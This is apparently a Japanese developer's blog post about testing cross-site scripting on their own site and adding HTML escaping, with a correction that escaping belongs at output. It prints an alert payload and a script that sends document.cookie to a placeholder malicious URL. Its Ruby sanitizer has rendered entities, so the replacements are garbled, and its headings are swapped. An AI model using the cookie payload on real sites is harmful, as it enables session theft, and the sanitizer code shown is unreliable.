XSSの具体例
とりあえず現状の自分のサイトに対して、悪意あるコンテンツを作成してみた。下記コードを入れると、悪意あるコンテンツが作成される。
他サイトへリダイレクト
"><script>alert('1クリックで100万円GET')</script><!--
不正ポップアップ表示
"><script>window.location='悪意のあるサイトのURL?id='+document.cookie;</script><!--
実際に作成して、コンテンツリンクを踏むと次のように遷移してしまう。
こいつを防ぐために、悪意のあるスクリプトを無害な文字列に置き換えるサニタイジング(エスケープ)処理を実装する。
変換対象は次のもの。
変換前の特殊文字 | 変換後の特殊文字 |
---|---|
& |
& |
< |
< |
> |
> |
" |
" |
' |
' |
というわけで、入力値に対してサニタイズ処理をしてから記録するように変更。そのために書き込み前に入力値に対して下記のように置換を行う。引数長くなってしまったけど、とりあえずこのままで😅
def sanitizing_text text text.gsub(/&|<|>|"|'/, '&'=>'&', "<"=>'<', ">"=>'>', "\""=>'"', "'"=>''') end
再度、悪意あるコンテンツを入力してみた。下記の通り、置換されてコンテンツが保存された🤗
エスケープ処理は出力要素に対して行う
上記は入力要素に対してエスケープ処理をしてしまったが、誤りなので注意。当初、危ないコンテンツは記録すらしない方がいいと思い、記録前に置換した方がいいと思ってました😅
実際は、XSSの防御であるエスケープ処理は『出力要素』に対して行うものなので、対処方法が誤っていました。
なんでエスケープ処理は出力要素?
例えば、悪意ないコンテンツ『M&M』を登録して、編集しようとしたら『M&
M』となってしまい、ユーザとしては嬉しくないからよねと思っていました。が、実際にやってみるとちゃんと表示されているので、うーん🤔となりました。
なぜ、出力要素に対して実施するかは、安全な ウェブサイトの作り方によくある失敗例として紹介されていました😅
また、入力時に対処する方だと、対策が後手になって悪意あるコンテンツが既に登録されている場合に、既存の悪意あるコンテンツに対してそのままでは対応できないということもあるなと思いました😂
エスケープ処理は『出力要素』を肝に銘じておきます🙇♂️